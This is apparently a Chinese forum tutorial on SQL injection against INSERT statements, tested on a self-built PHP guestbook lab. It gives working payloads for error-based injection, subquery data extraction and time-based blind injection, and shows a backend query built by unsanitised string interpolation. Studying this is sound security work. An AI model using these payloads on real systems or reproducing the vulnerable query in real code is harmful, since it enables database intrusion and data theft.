Insert型SQL注入探究

我之前对SQL注入的了解只停留在测试select型的阶段上,虽然也知道增删改查理论上都可以进行SQL注入,但实际进行测试时发现其流程和测试select型时有些区别,我大致在网上找了找,没有找到想要的内容,也觉得只是看别人的实验过程并不能对自己有什么提升,所以就自己动手实际测试一遍,并总结出了一套测试insert型注入的流程
 
实验环境:
Mysql + PHP + Apache
简易留言板形式的Insert型注入点
 
3.png

1.png

 
实验过程:
首先,我使用测试select型注入的方法对注入点进行测试
测试过程:
  1. 001     [留言成功]
  2. 002\    [留言失败]
  3. 003#    [留言成功]
  4. 004'    [留言失败]
  5. 005"    [留言成功]
  6. 006)    [留言成功]
  7. 007')   [留言失败]
  8. 008')#  [留言失败]



在select型注入中,当我们成功找对闭合条件并加入注释符时,应该会看到操作成功的回显,
但是在insert型中,即使找对了闭合条件,我们也无法做到成功留言
 
观察后端sql语句我们可以找到原因
$sql = "insert into message(content,ltime,uid) values('$content','$time','$uid')";
sql语句中有两个完整括号,当两个括号中的参数不匹配时,会无法成功执行sql语句
 
所以我们还要找到sql语句中的参数数量
测试过程:
  1. 009','')#      [留言失败]
  2. 010','','')#    [留言成功]


4.png

 
下来我们就可以来考虑拼接sql语句了
 
报错注入payload:
011',''or extractvalue(1,concat(0x7e,database())) or'')#

5.png

 
直接拼接SQL语句:
011','',(select s_id from user where uid=25))#

6.png


7.png

 
这里有几点要注意:
1、要选择插入数据后可以回显到页面上的参数进行注入
2、有些参数限制必须为字符或数字或时间格式,所以要根据你查询出的内容的数据类型选择参数
 
如果实在找不到符合条件的参数,这时可以选择盲注
 
时间盲注payload:
011'and sleep(5),'','')#
011'and if((select version())>5,sleep(5),1),'','')#
 
注:这里and sleep(5)不能跟在最后一个引号后,否则无法执行睡眠!
 
 
 

 
 
 

1 个评论

可以

要回复文章请先登录注册